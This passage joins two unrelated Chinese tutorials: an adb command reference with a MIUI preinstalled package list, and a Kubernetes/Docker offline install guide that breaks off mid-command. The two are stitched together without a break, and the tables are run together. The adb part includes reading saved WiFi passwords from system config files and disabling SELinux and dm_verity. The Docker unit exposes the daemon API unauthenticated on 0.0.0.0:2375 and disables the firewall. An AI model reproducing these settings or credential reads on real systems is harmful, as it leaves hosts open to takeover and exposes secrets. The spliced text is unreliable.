那一行前面的时间就是。4.8 查看 Android 设备系统属性查看 Android 设备系统属性的基本命令格式是:adb shell getprop [options]除了可以查看 Android 设备系统属性之外,还可以设置系统属性,设置系统属性的基本命令格式是:adb shell setprop <key> <value>4.8.1 查看设备型号adb shell getprop ro.product.model4.8.2 查看设备电池状况adb shell dumpsys battery输出示例:Current Battery Service state: AC powered: false USB powered: true Wireless powered: false status: 2 health: 2 present: true level: 44 scale: 100 voltage: 3872 temperature: 280 technology: Li-poly其中 scale 代表最大电量,level 代表当前电量。上面的输出表示还剩下 44% 的电量。4.8.3 查看设备屏幕分辨率adb shell wm size输出示例:Physical size: 1080x1920该设备屏幕分辨率为 1080px * 1920px。若使用命令修改过,那输出可能是:Physical size: 1080x1920 Override size: 480x1024表明设备的屏幕分辨率原本是 1080px * 1920px,当前被修改为 480px * 1024px。4.8.4 查看设备屏幕密度adb shell wm density输出示例:Physical density: 360该设备屏幕密度为 360dpi。若使用命令修改过,那输出可能是:Physical density: 420 Override density: 360表明设备的屏幕密度原来是 420dpi,当前被修改为 360dpi。4.8.5 查看设备显示屏参数adb shell dumpsys window displays输出示例:WINDOW MANAGER DISPLAY CONTENTS (dumpsys window displays) Display: mDisplayId=0 init=1080x1920 420dpi cur=1080x1920 app=1080x1794 rng=1080x1017-1810x1731 deferred=false layoutNeeded=false 复制代码其中 mDisplayId 为 显示屏编号,init 是初始分辨率和屏幕密度,app 的高度比 init 里的要小,表示屏幕底部有虚拟按键,高度为 1920 - 1794 = 126px 合 42dp。4.8.6 查看设备 android_idadb shell settings get secure android_id输出示例:5a3a3aa2c30421844.8.7 查看设备IMEI在 Android 4.4 及以下版本可通过如下命令获取 IMEI:adb shell dumpsys iphonesubinfo输出示例:Phone Subscriber Info: Phone Type = GSM Device ID = 860955027785041其中的 Device ID 就是 IMEI。而在 Android 5.0 及以上版本里这个命令输出为空,得通过其它方式获取了(需要 root 权限):adb shell service call iphonesubinfo 1把里面的有效内容提取出来就是 IMEI 了,比如这里的是 890956027785041。参考:adb shell dumpsys iphonesubinfo not working since Android 5.0 Lollipop4.8.8 查看设备 Android 系统版本adb shell getprop ro.build.version.release4.8.9 查看设备 IP 地址adb shell ifconfig | grep Mask在有的设备上这个命令没有输出,若设备连着 WiFi,可以使用如下命令来查看局域网 IP:adb shell ifconfig wlan0若以上命令仍然不能得到期望的信息,那可以试试以下命令(部分系统版本里可用):adb shell netcfg4.8.10 查看设备 Mac 地址adb shell cat /sys/class/net/wlan0/address这查看的是局域网 Mac 地址,移动网络或其它连接的信息可以通过前面的小节「IP 地址」里提到的 adb shell netcfg 命令来查看。4.8.11 查看设备 CPU 信息adb shell cat /proc/cpuinfo4.8.12 查看设备内存信息adb shell cat /proc/meminfo4.8.13 查看设备更多硬件与系统属性设备的更多硬件与系统属性可以通过如下命令查看:adb shell cat /system/build.prop这会输出很多信息,包括前面几个小节提到的「型号」和「Android 系统版本」等。输出里还包括一些其它有用的信息,也可通过 adb shell getprop <属性名> 命令单独查看,列举一部分属性如下:属性名含义ro.build.version.sdkSDK 版本ro.build.version.releaseAndroid 系统版本ro.build.version.security_patchAndroid 安全补丁程序级别ro.product.model型号ro.product.brand品牌ro.product.name设备名ro.product.board处理器型号ro.product.cpu.abilistCPU 支持的 abi 列表[节注一]persist.sys.isUsbOtgEnabled是否支持 OTGdalvik.vm.heapsize每个应用程序的内存上限ro.sf.lcd_density屏幕密度注意:一些小厂定制的 ROM 可能修改过 CPU 支持的 abi 列表的属性名。若用 ro.product.cpu.abilist 属性名查找不到,可以这样试试:adb shell cat /system/build.prop | grep ro.product.cpu.abi4.9 修改设置注意: 修改设置之后,运行恢复命令有可能显示仍然不太正常,可以运行 adb reboot 重启设备,或手动重启。修改设置的原理主要是通过 settings 命令修改 /data/data/com.android.providers.settings/databases/settings.db 里存放的设置值。4.9.1 修改分辨率adb shell wm size 480x1024表示将分辨率修改为 480px * 1024px。恢复原分辨率命令:adb shell wm size reset4.9.2 修改屏幕密度adb shell wm density 160表示将屏幕密度修改为 160dpi。恢复原屏幕密度命令:adb shell wm density reset手机分辨率对照表宽×高(标准值)240×320320×480480×800720×12801080×19201440×2560DPI等级LDPIMDPIHDPIXHDPIXXHDPIXXXHDPIDPI数值120160240320480640对应比例34681216PX0.7511.52344.9.3 修改显示区域adb shell wm overscan 0,0,0,200四个数字分别表示距离左、上、右、下边缘的留白像素,以上命令表示将屏幕底部 200px 留白。恢复原显示区域命令:adb shell wm overscan reset4.9.4 修改关闭 USB 调试模式adb shell settings put global adb_enabled 0用命令恢复不了了,毕竟关闭了 USB 调试 adb 就连接不上 Android 设备了。去设备上手动恢复吧:「设置」-「开发者选项」-「Android 调试」。4.9.5 修改允许/禁止访问非 SDK API允许访问非 SDK API:adb shell settings put global hidden_api_policy_pre_p_apps 1 adb shell settings put global hidden_api_policy_p_apps 1禁止访问非 SDK API:adb shell settings delete global hidden_api_policy_pre_p_apps adb shell settings delete global hidden_api_policy_p_apps不需要设备获得 Root 权限。命令最后的数字的含义:值含义0禁止检测非 SDK 接口的调用。该情况下,日志记录功能被禁用,并且令 strict mode API,即 detectNonSdkApiUsage() 无效。不推荐。1仅警告——允许访问所有非 SDK 接口,但保留日志中的警告信息,可继续使用 strick mode API。2禁止调用深灰名单和黑名单中的接口。3禁止调用黑名单中的接口,但允许调用深灰名单中的接口。4.9.6 修改状态栏和导航栏的显示隐藏adb shell settings put global policy_control <key-values><key-values> 可由如下几种键及其对应的值组成,格式为 <key1>=<value1>:<key2>=<value2>。key含义immersive.full同时隐藏immersive.status隐藏状态栏immersive.navigation隐藏导航栏immersive.preconfirms?这些键对应的值可则如下值用逗号组合:value含义apps所有应用*所有界面package-name指定应用-package-name排除指定应用例如:adb shell settings put global policy_control immersive.full=*表示设置在所有界面下都同时隐藏状态栏和导航栏。adb shell settings put global policy_control immersive.status=com.package1,com.package2:immersive.navigation=apps,-com.package3表示设置在包名为 com.package1 和 com.package2 的应用里隐藏状态栏,在除了包名为 com.package3 的所有应用里隐藏导航栏。4.11 实用功能4.11.1 屏幕截图截图保存到电脑:adb exec-out screencap -p > sc.png若 adb 版本较老,无法使用 exec-out 命令,建议更新 adb 版本。无法更新的话可以使用以下麻烦点的办法:先截图保存到设备里:adb shell screencap -p /sdcard/sc.png然后将 png 文件导出到电脑:adb pull /sdcard/sc.png可以使用 adb shell screencap -h 查看 screencap 命令的帮助信息,下面是两个有意义的参数及含义:参数含义-p指定保存文件为 png 格式-d display-id指定截图的显示屏编号(有多显示屏的情况下)实测若指定文件名以 .png 结尾时可以省略 -p 参数;否则需要使用 -p 参数。若不指定文件名,截图文件的内容将直接输出到 stdout。另外一种一行命令截图并保存到电脑的方法: Linux 和 Windowsadb shell screencap -p | sed "s/\r$//" > sc.pngMac OS Xadb shell screencap -p | gsed "s/\r$//" > sc.png这个方法需要用到 gnu sed 命令,在 Linux 下直接就有,在 Windows 下 Git 安装目录的 bin 文件夹下也有。若找不到该命令,可以下载 sed for Windows 并将 sed.exe 所在文件夹添加到 PATH 环境变量里。而在 Mac 下使用系统自带的 sed 命令会报错:sed: RE error: illegal byte sequence需要安装 gnu-sed,然后使用 gsed 命令:brew install gnu-sed4.11.2 录制屏幕录制屏幕以 mp4 格式保存到 /sdcard:adb shell screenrecord /sdcard/filename.mp4需要停止时按 Ctrl-C,默认录制时间和最长录制时间都是 180 秒。若需要导出到电脑:adb pull /sdcard/<filename>.mp4可以使用 adb shell screenrecord --help 查看 screenrecord 命令的帮助信息,下面是常见参数及含义:参数含义--size WIDTHxHEIGHT视频的尺寸,比如 1280x720,默认是屏幕分辨率。--bit-rate RATE视频的比特率,默认是 4Mbps。--time-limit TIME录制时长,单位秒。--verbose输出更多信息。4.11.3 查看连接过的 WiFi 密码注:需要 root 权限。adb shell cat /data/misc/wifi/*.conf4.11.4 设置系统日期和时间注:需要 root 权限。adb shell date -s yyyyMMdd.HHmmss注意:表示将系统日期和时间更改为 yyyy 年 MM 月 dd 日 HH 点 mm 分 ss 秒。设置系统日期和时间后,需使用busybox hwclock -w命令以使得系统时间同步硬件时钟, 否则肯会出现重启不生效的问题。4.11.4.1 读取系统时间adb shell "date"4.11.4.2 读取系统时区adb shell "getprop persist.sys.timezone"4.11.4.3 设置系统时区adb shell "setprop persist.sys.timezone <Region>/<City>"<Region>/<City>为设置的时区,即<地区名>/<城市名>。以设置上海时区为例:Asia/Shanghai。注意:时区更新组件中平台服务功能 (timezone.RulesManagerService)默认处于停用状态。OEM 必须通过相应配置启用该功能。RulesManagerService 在系统服务器进程中运行,并通过写入 /data/misc/zoneinfo/staged 来暂存时区更新操作。RulesManagerService 还可以替换或删除已经暂存的操作。4.11.4.4 设置系统 NTP 服务器adb shell "settings put global ntp_server <NTP服务器地址>"手机重启联网后,将会自动校时。国内常见的NTP服务器地址如下:东北大学:ntp.synet.edu.cnntp.neu.edu.cn上海交大:ntp.sjtu.edu.cnpool.ntp.org:cn.pool.ntp.org阿里云NTP服务器:ntp1.aliyun.comntp2.aliyun.comntp3.aliyun.comntp4.aliyun.comntp5.aliyun.comntp6.aliyun.comntp7.aliyun.com可使用如下命令以查询是否设置成功:adb shell settings get global ntp_server4.11.5 重启手机adb reboot4.11.6 检测设备是否已 rootadb shell su此时命令行提示符是 $ 则表示没有 root 权限,是 # 则表示已 root。4.11.7 使用 Monkey 进行压力测试Monkey 可以生成伪随机用户事件来模拟单击、触摸、手势等操作,可以对正在开发中的程序进行随机压力测试。简单用法:adb shell monkey -p <packagename> -v 500表示向 <packagename> 指定的应用程序发送 500 个伪随机事件。Monkey 的详细用法参考 官方文档。4.11.8 开启/关闭 WiFi注:需要 root 权限。开启 WiFi:adb root adb shell svc wifi enable关闭 WiFi:adb root adb shell svc wifi disable若执行成功,输出为空;若未取得 root 权限执行此命令,将执行失败,输出 Killed。4.12 安全相关命令4.12.1 启用/禁用 SELinux启用 SELinuxadb root adb shell setenforce 1禁用 SELinuxadb root adb shell setenforce 04.12.2 启用/禁用 dm_verity启用 dm_verityadb root adb enable-verity禁用 dm_verityadb root adb disable-verity4.13 更多 adb shell 命令Android 系统是基于 Linux 内核的,所以 Linux 里的很多命令在 Android 里也有相同或类似的实现,在 adb shell 里可以调用。本文档前面的部分内容已经用到了 adb shell 命令。4.14.1 查看进程状态adb shell ps输出信息各列含义:列名含义USER所属用户PID进程 IDPPID父进程 IDNAME进程名4.14.2 查看处理器实时状态adb shell top [-m max_procs] [-n iterations] [-d delay] [-s sort_column] [-t] [-h]adb shell top 后面可以跟一些可选参数进行过滤查看不同的列表,可用参数及含义如下:参数含义-m最多显示多少个进程-n刷新多少次后退出-d刷新时间间隔(单位秒,默认值5)-s按某列排序(可用col值:cpu, vss, rss, thr)-t显示线程信息-h显示帮助文档输出信息各列含义:列名含义PID进程 IDPR优先级CPU%当前瞬间占用 CPU 百分比S进程状态(R=运行,S=睡眠,T=跟踪/停止,Z=僵尸进程)#THR线程数VSSVirtual Set Size 虚拟耗用内存(包含共享库占用的内存)RSSResident Set Size 实际使用物理内存(包含共享库占用的内存)PCY调度策略优先级,SP_BACKGROUND/SPFOREGROUNDUID进程所有者的用户 IDNAME进程名4.14.3 查看进程 UID有两种方案:方案一:adb shell dumpsys package <packagename> | grep userId=例如:adb shell dumpsys package org.mazhuang.guanggoo | grep userId= userId=10394方案二:通过 ps 命令找到对应进程的 pid 之后 adb shell cat /proc/<pid>/status | grep Uid 如:adb shellps | grep org.mazhuang.guanggoo u0_a394 28635 770 1795812 78736 SyS_epoll_ 0000000000 S org.mazhuang.guanggoocat /proc/28635/status | grep Uid Uid: 10394 10394 10394 10394附录:MIUI 预装软件列表(含系统组件)软件名称软件包名一体化位置信息com.android.location.fused万能遥控com.duokan.phone.remotecontroller三方应用异常分析com.miui.thirdappassistant下载管理com.android.providers.downloads.ui下载管理程序com.android.providers.downloads主屏幕提示com.android.protips主题壁纸com.android.thememanager今日头条com.ss.android.article.news传送门com.miui.contentextension健康com.mi.health全球上网com.miui.virtualsim关机闹钟com.qualcomm.qti.poweroffalarm内容中心com.miui.newhome卫星定位com.xiaomi.bsp.gps.nps双刘海屏com.android.internal.display.cutout.emulation.double垃圾清理com.miui.cleanmaster基本互动屏保com.android.dreams.basic声音com.android.soundpicker备份com.miui.backup外部存储设备com.android.externalstorage天星金融com.xiaomi.jr天气com.miui.weather2媒体存储设备com.android.providers.media.module存储已屏蔽的号码com.android.providers.blockednumber存储空间管理器com.android.storagemanager安全核心组件com.miui.securitycore密钥链com.android.keychain小爱同学com.miui.voiceassist小米SIM卡激活服务com.xiaomi.simactivate.service小米云服务com.miui.cloudservice小米云盘com.miui.newmidrive小米互传com.miui.mishare.connectivity小米互联通信服务com.xiaomi.mi_connect_service小米商城com.xiaomi.shop小米商城系统组件com.xiaomi.ab小米安全键盘com.miui.securityinputmethod小米帐号com.xiaomi.account小米换机com.miui.huanji小米支付com.miui.nextpay小米文档查看器(WPS定制)cn.wps.moffice_eng.xiaomi.lite小米智能卡com.miui.tsmclient小米有品com.xiaomi.youpin小米服务框架com.xiaomi.xmsf小米画报com.mfashiongallery.emag小米直播助手com.mi.liveassistant小米社区com.xiaomi.vipaccount小米视频com.miui.video小米设置com.xiaomi.misettings小米钱包com.mipay.wallet小米闻声com.miui.accessibility屏幕录制com.miui.screenrecorder工作设置com.android.managedprovisioning常用语com.miui.phrase应用包管理组件com.miui.packageinstaller应用商店com.xiaomi.market应用程序扩展服务com.miui.contentcatcher开机引导com.android.provision录音机com.android.soundrecorder微博com.sina.weibo快应用服务框架com.miui.hybrid急救信息com.android.emergency性能模式com.qualcomm.qti.performancemode悬浮球com.miui.touchassistant截屏com.miui.screenshot手机淘宝com.taobao.taobao手机管家com.miui.securitycenter打印处理服务com.android.printspooler打孔屏com.android.internal.display.cutout.emulation.hole扫一扫com.xiaomi.scanner投屏com.milink.service投屏服务com.xiaomi.miplay_client抖音短视频com.ss.android.ugc.aweme拼多多com.xunmeng.pinduoduo指南针com.miui.compass指纹测试com.goodix.gftest搜狗输入法小米版com.sohu.inputmethod.sogou.xiaomi搜索com.android.quicksearchbox支付宝com.eg.android.AlipayGphone收音机com.miui.fm收音机调频服务com.miui.fmservice文件com.google.android.documentsui文件管理com.android.fileexplorer日历com.android.calendar日历存储com.android.providers.calendar时钟com.android.deskclock智慧生活com.miui.hybrid.accessory智能出行com.miui.smarttravel智能助理com.miui.personalassistant智能服务com.miui.systemAdSolution服务与反馈com.miui.miservice权限控制器com.android.permissioncontroller权限管理服务com.lbe.security.miui查找手机com.xiaomi.finddevice桌面云备份com.miui.cloudbackup浏览器com.android.browser淘特com.taobao.litetao游戏中心com.xiaomi.gamecenter游戏服务com.xiaomi.gamecenter.sdk.service瀑布刘海屏com.android.internal.display.cutout.emulation.waterfall照片屏幕保护程序com.android.dreams.phototable爱奇艺com.qiyi.video生活黄页com.miui.yellowpage用户反馈com.miui.bugreport用户字典com.android.providers.userdictionary电子邮件com.android.email电话com.android.incallui电话和短信存储com.android.providers.telephony电话服务com.android.phone电量和性能com.miui.powerkeeper番茄免费小说com.dragon.read百度com.baidu.searchbox百度地图com.baidu.BaiduMap百度输入法小米版com.baidu.input_mi相册com.miui.gallery相机com.android.camera相机标定com.xiaomi.cameratools短信com.android.mms笔记com.miui.notes米家com.xiaomi.smarthome米币支付com.xiaomi.payment系统_WLAN_资源com.android.wifi.resources系统打印服务com.android.bips系统更新com.android.updater系统服务组件com.miui.securityadd系统桌面com.miui.home系统界面com.android.systemui系统语音引擎com.xiaomi.mibrain.speech系统跟踪com.android.traceur维修模式com.miui.maintenancemode网络位置服务com.xiaomi.metoknlp网络管理器com.android.networkstack.inprocess耗电检测com.xiaomi.powerchecker联系人存储com.android.providers.contacts腾讯视频com.tencent.qqlive自由窗口com.miui.freeform蓝牙com.android.bluetooth融合位置服务com.xiaomi.location.fused计算器com.miui.calculator讯飞输入法小米版com.iflytek.inputmethod.miui设备信息com.qti.qualcomm.deviceinfo设置com.android.settings设置存储com.android.providers.settings证书安装程序com.android.certinstaller语音唤醒com.miui.voicetrigger输入设备com.android.inputdevices边角刘海屏com.android.internal.display.cutout.emulation.corner运营商默认应用com.android.carrierdefaultapp通知管理com.miui.notification通讯录与拨号com.android.contacts通话管理com.android.server.telecom配套设备管理器com.android.companiondevicemanager银联可信服务安全组件小米版本com.unionpay.tsmservice.mi长型刘海屏com.android.internal.display.cutout.emulation.tall阅读com.duokan.reader音乐com.miui.player音质音效com.miui.misound驾车场景com.xiaomi.drivemodeAI虚拟助手com.xiaomi.aiasst.serviceAndroid_无障碍套件com.google.android.marvin.talkback3_Button_Navigation_Barcom.android.internal.systemui.navbar.threebuttonAdreno_Graphics_Driverscom.qualcomm.qti.gpudrivers.lito.api30AiasstVisioncom.xiaomi.aiasst.visionAnalyticscom.miui.analyticsAndroid_Services_Librarycom.google.android.ext.servicesAndroid_Shared_Librarycom.google.android.ext.sharedAndroid_System_WebViewcom.google.android.webviewAudioEffectcom.miui.audioeffectBlackcom.android.theme.color.blackBluetooth_MIDI_Servicecom.android.bluetoothmidiserviceBokehcom.miui.extraphotoBookmark_Providercom.android.bookmarkproviderCITcom.miui.citCaptivePortalLogincom.android.captiveportalloginCatchLogcom.bsp.catchlogCell_Broadcast_Servicecom.android.cellbroadcastserviceCinnamoncom.android.theme.color.cinnamonCircularcom.android.theme.icon_pack.circular.androidCircularcom.android.theme.icon_pack.circular.launcherCircularcom.android.theme.icon_pack.circular.settingsCircularcom.android.theme.icon_pack.circular.systemuiCircularcom.android.theme.icon_pack.circular.themepickerCit_QRcom.miui.qrCloudServiceSysbasecom.miui.cloudservice.sysbaseCneAppcom.qualcomm.qti.cneConference_URI_Dialercom.qti.confuridialerConfigUpdatercom.google.android.configupdaterDynamic_System_Updatescom.android.dynsystemEid-Servicecom.rongcard.eidFIDO_UAF1.0_ASMcom.fido.asmFIDO_UAF1.0_Clientcom.fido.xiaomi.uafclientFilledcom.android.theme.icon_pack.filled.androidFilledcom.android.theme.icon_pack.filled.launcherFilledcom.android.theme.icon_pack.filled.settingsFilledcom.android.theme.icon_pack.filled.systemuiFilledcom.android.theme.icon_pack.filled.themepickerFingerprintExtensionServicecom.fingerprints.extension.serviceGFManagercom.goodix.fingerprintGestural_Navigation_Barcom.android.internal.systemui.navbar.gesturalGestural_Navigation_Barcom.android.internal.systemui.navbar.gestural_extra_wide_backGestural_Navigation_Barcom.android.internal.systemui.navbar.gestural_narrow_backGestural_Navigation_Barcom.android.internal.systemui.navbar.gestural_wide_backGoogle_One_Time_Initcom.google.android.onetimeinitializerGoogle_Play_服务com.google.android.gmsGoogle_Play_服务更新程序com.android.vendingGoogle_服务框架com.google.android.gsfGoogle通讯录同步com.google.android.syncadapters.contactsHTML_查看器com.android.htmlviewerMIUI+_Beta版com.xiaomi.mirrorMIUI安全组件com.miui.guardproviderMODEM测试工具com.xiaomi.mtbMTP_主机com.android.mtpNFC服务com.android.nfcSIM卡联系人com.qualcomm.qti.simcontactsUC浏览器com.UCMobileUSIM卡应用com.android.stkWAPI证书com.wapi.wapicertmanageX-Divert设置com.qti.xdivertGreencom.android.theme.color.greenIntent_Filter_Verification_Servicecom.android.statementserviceJoyosecom.xiaomi.joyoseLive_Wallpaper_Pickercom.android.wallpaper.livepickerLocationServicescom.qualcomm.locationMConnServicecom.miui.vsimcoreMIUI_Bluetoothcom.xiaomi.bluetoothMIUI_SDKcom.miui.coreMiCloudSynccom.miui.micloudsyncMi_RCScom.xiaomi.mircsMiuiBiometriccom.miui.faceMiuiDaemoncom.miui.daemonMiuiVpnSdkManagercom.miui.vpnsdkmanagerMmsServicecom.android.mms.serviceModule_Metadatacom.android.modulemetadataNetworkStackOverlaycom.android.networkstack.overlayOceancom.android.theme.color.oceanOrchidcom.android.theme.color.orchidOsuLogincom.android.hotspot2.osuloginPacProcessorcom.android.pacprocessorPebblecom.android.theme.icon.pebblePrint_Service_Recommendation_Servicecom.google.android.printservice.recommendationProxyHandlercom.android.proxyhandlerPurplecom.android.theme.color.purpleQColorcom.qualcomm.qti.qcolorQDCM-FFcom.qti.snapdragon.qdcm_ffQualcomm_Mobile_Securitycom.qualcomm.qti.qms.service.telemetryRegServicecom.miui.dmregserviceRounded_Rectanglecom.android.theme.icon.roundedrectRoundedcom.android.theme.icon_pack.rounded.androidRoundedcom.android.theme.icon_pack.rounded.launcherRoundedcom.android.theme.icon_pack.rounded.settingsRoundedcom.android.theme.icon_pack.rounded.systemuiRoundedcom.android.theme.icon_pack.rounded.themepickerSecCamServicecom.qualcomm.qti.seccamserviceSecureElementApplicationcom.android.seSecure_UI_Servicecom.qualcomm.qti.services.secureuiSensor_Test_Toolcom.fingerprints.sensortesttoolSettings_Suggestionscom.android.settings.intelligenceShellcom.android.shellSim_App_Dialogcom.android.simappdialogSoterServicecom.tencent.soter.soterserverSpacecom.android.theme.color.spaceSquirclecom.android.theme.icon.squircleSystemHelpercom.mobiletools.systemhelperSystem_Helper_Servicecom.qualcomm.qti.services.systemhelperTAMservicecom.xiaomi.otrpbrokerTagscom.android.apps.tagTapered_Rectcom.android.theme.icon.taperedrectTeardropcom.android.theme.icon.teardropTetheringcom.android.networkstack.tethering.inprocessVesselcom.android.theme.icon.vesselVpnDialogscom.android.vpndialogsWMServicecom.miui.wmsvcWallPapercom.miui.miwallpaperWfd_Servicecom.qualcomm.wfd.serviceXiaomi_Service_Framework_Keepercom.xiaomi.xmsfkeepercom.android.backupconfirmcom.android.backupconfirmcom.android.carrierconfig.overlay.commoncom.android.carrierconfig.overlay.commoncom.android.carrierconfigcom.android.carrierconfigcom.android.cellbroadcastreceiver.overlay.commoncom.android.cellbroadcastreceiver.overlay.commoncom.android.cellbroadcastreceivercom.android.cellbroadcastreceivercom.android.cts.ctsshimcom.android.cts.ctsshimcom.android.cts.priv.ctsshimcom.android.cts.priv.ctsshimcom.android.localtransportcom.android.localtransportcom.android.onscom.android.onscom.android.overlay.gmstelecommcom.android.overlay.gmstelecommcom.android.overlay.gmstelephonycom.android.overlay.gmstelephonycom.android.phone.overlay.commoncom.android.phone.overlay.commoncom.android.providers.mediacom.android.providers.mediacom.android.provision.overlay.miuicom.android.provision.overlay.miuicom.android.server.NetworkPermissionConfigcom.android.networkstack.permissionconfigcom.android.server.telecom.overlay.commoncom.android.server.telecom.overlay.commoncom.android.server.telecom.overlay.miuicom.android.server.telecom.overlay.miuicom.android.settings.overlay.miuicom.android.settings.overlay.miuicom.android.sharedstoragebackupcom.android.sharedstoragebackupcom.android.smspushcom.android.smspushcom.android.systemui.gesture.line.overlaycom.android.systemui.gesture.line.overlaycom.android.systemui.icon.overlaycom.android.systemui.icon.overlaycom.android.systemui.navigation.bar.overlaycom.android.systemui.navigation.bar.overlaycom.android.systemui.notch.overlaycom.android.systemui.notch.overlaycom.android.systemui.overlay.commoncom.android.systemui.overlay.commoncom.android.systemui.overlay.miuicom.android.systemui.overlay.miuicom.android.wallpaperbackupcom.android.wallpaperbackupcom.android.wallpapercroppercom.android.wallpapercroppercom.android.wifi.resources.overlay.commoncom.android.wifi.resources.overlay.commoncom.android.wifi.resources.overlay.targetcom.android.wifi.resources.overlay.targetcom.android.wifi.resources.xiaomicom.android.wifi.resources.xiaomicom.google.android.cellbroadcastreceiver.overlay.miuicom.google.android.cellbroadcastreceiver.overlay.miuicom.google.android.cellbroadcastservice.overlay.miuicom.google.android.cellbroadcastservice.overlay.miuicom.google.android.overlay.gmsconfigcom.google.android.overlay.gmsconfigcom.google.android.overlay.modules.documentsuicom.google.android.overlay.modules.documentsuicom.google.android.overlay.modules.ext.servicescom.google.android.overlay.modules.ext.servicescom.miui.catcherpatch.BaseApplicationcom.miui.catcherpatchcom.miui.face.overlay.miuicom.miui.face.overlay.miuicom.miui.internal.app.SystemApplicationcom.miui.systemcom.miui.romcom.miui.romcom.miui.smsextra.internal.SmsExtraAppcom.miui.smsextracom.miui.systemui.carriers.overlaycom.miui.systemui.carriers.overlaycom.miui.systemui.devices.overlaycom.miui.systemui.devices.overlaycom.miui.systemui.overlay.devices.androidcom.miui.systemui.overlay.devices.androidcom.miui.translation.kingsoftcom.miui.translation.kingsoftcom.miui.translation.xmcloudcom.miui.translation.xmcloudcom.miui.translation.youdaocom.miui.translation.youdaocom.miui.translationservicecom.miui.translationservicecom.qti.diagservicescom.qti.diagservicescom.qti.dpmserviceappcom.qti.dpmserviceappcom.qti.qualcomm.datastatusnotificationcom.qti.qualcomm.datastatusnotificationcom.qti.service.colorservicecom.qti.service.colorservicecom.qti.slaservicecom.qti.slaservicecom.qualcomm.atfwdcom.qualcomm.atfwdcom.qualcomm.embmscom.qualcomm.embmscom.qualcomm.qcrilmsgtunnelcom.qualcomm.qcrilmsgtunnelcom.qualcomm.qti.autoregistrationcom.qualcomm.qti.autoregistrationcom.qualcomm.qti.devicestatisticsservicecom.qualcomm.qti.devicestatisticsservicecom.qualcomm.qti.dynamicddsservicecom.qualcomm.qti.dynamicddsservicecom.qualcomm.qti.lpacom.qualcomm.qti.lpacom.qualcomm.qti.qms.service.connectionsecuritycom.qualcomm.qti.qms.service.connectionsecuritycom.qualcomm.qti.qtisystemservicecom.qualcomm.qti.qtisystemservicecom.qualcomm.qti.remoteSimlockAuthcom.qualcomm.qti.remoteSimlockAuthcom.qualcomm.qti.server.wigig.tethering.rrocom.qualcomm.qti.server.wigig.tethering.rrocom.qualcomm.qti.telephonyservicecom.qualcomm.qti.telephonyservicecom.qualcomm.qti.uimGbaAppcom.qualcomm.qti.uimGbaAppcom.qualcomm.qti.uimcom.qualcomm.qti.uimcom.qualcomm.qti.workloadclassifiercom.qualcomm.qti.workloadclassifiercom.qualcomm.timeservicecom.qualcomm.timeservicecom.qualcomm.uimremoteclientcom.qualcomm.uimremoteclientcom.qualcomm.uimremoteservercom.qualcomm.uimremoteservercom.xiaomi.bluetooth.overlaycom.xiaomi.bluetooth.overlaycom.xiaomi.micloudsdk.SdkApplicationcom.xiaomi.micloud.sdkkaraokecom.miui.audiomonitormiui.external.Applicationcom.android.thememanager.module
k8s离线安装部署教程X86(一)
k8s离线安装部署教程文件名称版本号linux核心docker版本20.10.9x86k8s版本v1.22.4x86kuboardv3x86一、k8s(x86)1.docker环境安装1.1.下载下载docker-20.10.9-ce.tgz,下载地址:地址,这里选择centos7 x86_64版本的。注:可参考官方文档进行安装1.2.上传将docker-20.10.9-ce.tgz上传到/opt/tools下面。1.3.解压tar -zxvf docker-20.10.9-ce.tgz cp docker/* /usr/bin/1.4.创建docker.servicevi /usr/lib/systemd/system/docker.service[Unit] Description=Docker Application Container Engine Documentation=https://docs.docker.com After=network-online.target firewalld.service Wants=network-online.target [Service] Type=notify # the default is not to use systemd for cgroups because the delegate issues still # exists and systemd currently does not support the cgroup feature set required # for containers run by docker # 开启远程连接 ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock ExecReload=/bin/kill -s HUP $MAINPID # Having non-zero Limit*s causes performance problems due to accounting overhead # in the kernel. We recommend using cgroups to do container-local accounting. LimitNOFILE=infinity LimitNPROC=infinity LimitCORE=infinity # Uncomment TasksMax if your systemd version supports it. # Only systemd 226 and above support this version. #TasksMax=infinity TimeoutStartSec=0 # set delegate yes so that systemd does not reset the cgroups of docker containers Delegate=yes # kill only the docker process, not all processes in the cgroup KillMode=process # restart the docker process if it exits prematurely Restart=on-failure StartLimitBurst=3 StartLimitInterval=60s [Install] WantedBy=multi-user.target1.5.指定harborvi /etc/docker/daemon.json{ "insecure-registries":["192.168.xx.xx"] }修改后,重启docker服务systemctl daemon-reload service docker restart 或 systemctl restart docker重启docker后,login到harbordocker login harbor的ip地址 密码2.k8s安装准备安装教程允许 iptables 检查桥接流量(下面也有)确保 br_netfilter 模块被加载。这一操作可以通过运行 lsmod | grep br_netfilter 来完成。若要显式加载该模块,可执行 sudo modprobe br_netfilter。为了让你的 Linux 节点上的 iptables 能够正确地查看桥接流量,你需要确保在你的 sysctl 配置中将 net.bridge.bridge-nf-call-iptables 设置为 1。例如:cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf br_netfilter cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf net.bridge.bridge-nf-call-ip6tables = 1 net.bridge.bridge-nf-call-iptables = 1 sudo sysctl --systemhostname,selinux,swap,iptables######################################################################### #关闭防火墙: 如果是云服务器,需要设置安全组策略放行端口 # https://kubernetes.io/zh/docs/setup/production-environment/tools/kubeadm/install-kubeadm/#check-required-ports systemctl stop firewalld systemctl disable firewalld # 修改 hostname hostnamectl set-hostname k8s-01 # 查看修改结果 hostnamectl status # 设置 hostname 解析 echo "127.0.0.1 $(hostname)" >> /etc/hosts #关闭 selinux: sed -i 's/enforcing/disabled/' /etc/selinux/config setenforce 0 #关闭 swap: swapoff -a sed -ri 's/.*swap.*/#&/' /etc/fstab #允许 iptables 检查桥接流量 #https://kubernetes.io/zh/docs/setup/production-environment/tools/kubeadm/install-kubeadm/#%E5%85%81%E8%AE%B8-iptables-%E6%A3%80%E6%9F%A5%E6%A1%A5%E6%8E%A5%E6%B5%81%E9%87%8F ## 开启br_netfilter ## sudo modprobe br_netfilter ## 确认下 ## lsmod | grep br_netfilter ## 修改配置 #####这里用这个,不要用课堂上的配置。。。。。。。。。 #将桥接的 IPv4 流量传递到 iptables 的链: # 修改 /etc/sysctl.conf # 如果有配置,则修改 sed -i "s#^net.ipv4.ip_forward.*#net.ipv4.ip_forward=1#g" /etc/sysctl.conf sed -i "s#^net.bridge.bridge-nf-call-ip6tables.*#net.bridge.bridge-nf-call-ip6tables=1#g" /etc/sysctl.conf sed -i "s#^net.bridge.bridge-nf-call-iptables.*#net.bridge.bridge-nf-call-iptables=1#g" /etc/sysctl.conf sed -i 